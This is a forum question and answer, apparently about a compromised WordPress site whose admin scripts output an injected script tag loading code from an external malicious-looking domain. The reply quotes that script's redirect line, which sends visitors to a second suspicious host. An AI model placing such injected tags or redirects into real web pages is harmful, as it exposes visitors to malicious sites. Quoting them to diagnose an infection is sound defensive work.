I'm quite baffled by this issue and I have absolutely no idea what could be causing it. I have a Wordpress website that has been working fine, until for some reason, the admin panel started to screw up and wouldn't display all of the CSS correctly. Upon further investigation I found that the load-scripts.php and load-styles.php are loading with odd characters, as you can see:http://www.obhsfbla.org/wp-admin/load-scripts.php?c=1&load=jquery,utils,thickbox,media-upload&ver=96728cab06e0531b9307c89031a13e9cThis is basically a default Wordpress install, and I have reuploaded that file, yet the problem persists. It doesn't seem to be a character encoding issue, as the headers say it is UTF-8.Here is the kind of scary part, if you remove all of the get attributes from that URL, the page displays:<script src=http://sweepstakesandcontestsdo.com/nl.php?p=d></script>I won't navigate to that site because Safari says it is malicious. But how exactly could this be happening? Why would that URL come up? The code in that page has never been edited.
Is Someone Hijacking My Site?
security;wordpress
That script has this code in it:window.top.location.replace(http://litic82sreac.rr.nu/n.php?h=1&s=nl);It redirects your user to http://litic82sreac.rr.nu/n.php?h=1&s=nl. I recently saw this sort of attack on both phpBB and MediaWiki servers, so I think it might be a hacked webhost.What webhost are you using?